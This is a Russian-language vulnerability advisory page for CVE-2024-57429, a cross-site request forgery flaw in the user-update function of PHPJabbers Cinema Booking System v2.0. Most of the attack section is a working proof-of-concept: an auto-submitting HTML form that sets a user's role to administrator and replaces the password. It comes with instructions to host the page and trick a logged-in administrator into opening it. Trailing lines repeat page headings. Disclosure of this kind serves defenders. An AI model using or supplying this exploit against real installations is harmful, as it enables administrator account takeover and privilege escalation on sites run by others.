CVE-2024-57429

Уязвимость межсайтовой подделки запроса (CSRF) в функции pjActionUpdate системы бронирования кинотеатров PHPJabbers Cinema Booking System v2.0 позволяет удаленным злоумышленникам повышать привилегии, обманом заставляя аутентифицированного администратора отправить несанкционированный запрос.

Воздействие:

Эксплуатация этой уязвимости CSRF может привести к несанкционированным действиям, таким как:

Смена пароля администратора, что фактически блокирует ему доступ.
Повышение привилегий атакующего до администратора путем обновления его роли пользователя.

Эксплойт - Proof of Concept (POC)

Межсайтовая подделка запроса (CSRF)

poc.html

<html>
 <!-- CSRF PoC - Update Admin User -->
 <body>
   <form action="http://127.0.0.1/CinemaBookingDev/index.php?controller=pjAdminUsers&action=pjActionUpdate" method="POST">
     <input type="hidden" name="user_update" value="1" />
     <input type="hidden" name="id" value="3" />
     <input type="hidden" name="role_id" value="1" />
     <input type="hidden" name="email" value="[email protected]" />
     <input type="hidden" name="password" value="newpassword123" />
     <input type="hidden" name="name" value="Attacker" />
     <input type="hidden" name="phone" value="1234567890" />
     <input type="hidden" name="status" value="T" />
     <input type="submit" value="Submit request" />
   </form>
   <script>
     history.pushState('', '', '/');
     document.forms[0].submit();
   </script>
 </body>
</html>

Сохраните приведенный выше код как poc.html
Разместите файл на сервере и обманом заставьте администратора открыть его, пока он авторизован в приложении.
Учетная запись администратора будет обновлена с данными атакующего и новым паролем.

CVE-2024-57429

Популярное

CVE-2024-57429

Воздействие:

Эксплойт - Proof of Concept (POC)

Межсайтовая подделка запроса (CSRF)

poc.html